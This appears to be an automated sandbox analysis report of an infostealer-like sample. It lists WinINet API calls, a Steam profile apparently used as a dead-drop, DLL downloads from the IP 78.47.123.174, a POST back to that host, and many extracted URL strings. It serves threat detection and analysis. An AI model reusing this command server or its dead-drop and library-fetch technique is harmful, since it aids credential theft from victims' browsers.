Code function: 2_2_0040514C _EH_prolog,InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,InternetSetOptionA,lstrlenA,lstrlenA,GetProcessHeap,HeapAlloc,lstrlenA,memcpy,lstrlenA,lstrlenA,memcpy,lstrlenA,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

2_2_0040514C

Source: global traffic	HTTP traffic detected: GET /profiles/76561199689717899 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqls.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Cache-Control: no-cache

Source: global traffic

DNS traffic detected: DNS query: steamcommunity.com

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EGCBFIEHIEGCAAAKKKKEUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Content-Length: 279Connection: Keep-AliveCache-Control: no-cache

Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: RegAsm.exe, RegAsm.exe, 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.2.dr, mozglue.dll.2.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: RegAsm.exe, 00000002.00000002.2472411920.000000001921D000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2468847118.000000001326F000.00000004.00000020.00020000.00000000.sdmp, sqls[1].dll.2.dr	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: 76561199689717899[1].htm.2.dr	String found in binary or memory: https://78.47.123.174
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://78.47.123.174/
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://78.47.123.174/freebl3.dll
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://78.47.123.174/mozglue.dll
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://78.47.123.174/msvcp140.dll
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://78.47.123.174/nss3.dll
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://78.47.123.174/softokn3.dll
Source: RegAsm.exe, 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467689392.0000000000EBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://78.47.123.174/sqls.dll
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000EBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://78.47.123.174/sqls.dllb
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467689392.0000000000FB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://78.47.123.174/vcruntime140.dll
Source: RegAsm.exe, 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://78.47.123.174;
Source: RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://78.47.123.174DBKE
Source: RegAsm.exe, 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://78.47.123.174HCAF
Source: HCFIJK.2.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 76561199689717899[1].htm.2.dr	String found in binary or memory: https://avatars.cloudflare.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: RegAsm.exe, 00000002.00000002.2467689392.00000000010E6000.00000004.00000020.00020000.00000000.sdmp, FIEHII.2.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: RegAsm.exe, 00000002.00000002.2467689392.00000000010E6000.00000004.00000020.00020000.00000000.sdmp, FIEHII.2.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: HCFIJK.2.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: HCFIJK.2.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: HCFIJK.2.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/applications/community/main.css?v=Hpc3R3GOIT
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/globalv2.css?v=pwVcIAtHNXwg&l=english&am
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/promo/summer2017/stickers.css?v=bZKSp7oNwVPK
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/header.css?v=vh4BMeDcNiCU&l=engli
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css?v=.TP5s6TzX6LLh&
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/profilev2.css?v=gNE3gksLVEVa&l=en
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/libraries~b28b
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/main.js?v=7tll
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/manifest.js?v=
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/global.js?v=PyuRtGtUpR0t&l=englis
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC&
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalContent.js?v=Wd0kCESeJquW&l=
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=engli
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/profile.js?v=X93cgZRtuH6z&l=engli
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/promo/stickers.js?v=GfA42_x2_aub&
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw&
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&amp
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpE
Source: RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/webui/clientcom.js?v=1rP88j3WZLBx&amp
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=tuNiaSwXwcYT&l=engl
Source: 76561199689717899[1].htm.2.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.css?v=GfSjbGKcNYaQ&l=
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=E0c90DJSB6Ld&
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_responsive.css?v=eghn9DNyCY67&
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/heade
Source: RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.p
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_global.js?v=wJD9maDpDcV
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v
Source: RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.js
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0&amp
Source: RegAsm.exe, 00000002.00000002.2467689392.00000000010E6000.00000004.00000020.00020000.00000000.sdmp, FIEHII.2.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: RegAsm.exe, 00000002.00000002.2467689392.00000000010E6000.00000004.00000020.00020000.00000000.sdmp, FIEHII.2.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: HCFIJK.2.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: HCFIJK.2.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: HCFIJK.2.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: https://help.steampowered.com/en/
Source: FIEHII.2.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: https://mozilla.org0/
Source: 76561199689717899[1].htm.2.dr	String found in binary or memory: https://steamcommunity.com/
Source: RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: https://steamcommunity.com/discussions/
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/ho
Source: 76561199689717899[1].htm.2.dr	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199689717899
Source: RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/m
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: https://steamcommunity.com/market/
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: file.exe, 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmp, RegAsm.exe, RegAsm.exe, 00000002.00000002.2467689392.0000000000F13000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199689717899
Source: RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: https://steamcommunity.com/profiles/76561199689717899/badges
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: https://steamcommunity.com/profiles/76561199689717899/inventory/
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: https://steamcommunity.com/workshop/
Source: 76561199689717899[1].htm.2.dr	String found in binary or memory: https://store.steampowered.com/
Source: 76561199689717899[1].htm.2.dr	String found in binary or memory: https://store.steampowered.com/about/
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: https://store.steampowered.com/explore/
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.2.dr	String found in binary or memory: https://store.steampowered.com/legal/
